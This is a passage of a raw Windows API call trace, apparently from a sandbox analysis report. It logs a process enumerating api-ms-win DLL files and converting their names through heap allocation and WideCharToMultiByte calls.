(HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x1efc288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.934] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.934] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.934] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x1efc120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.935] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x1efc288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.935] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1efc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0260.935] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.935] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.936] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1efc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.936] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.936] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.936] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1efc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0260.936] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.937] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x1efc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.937] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1efc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0260.937] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.937] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.938] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.938] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.938] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0260.938] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x1efc120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0260.938] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.938] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.938] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.938] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.938] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.938] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.938] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1efc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0260.938] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.938] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.938] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.939] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, 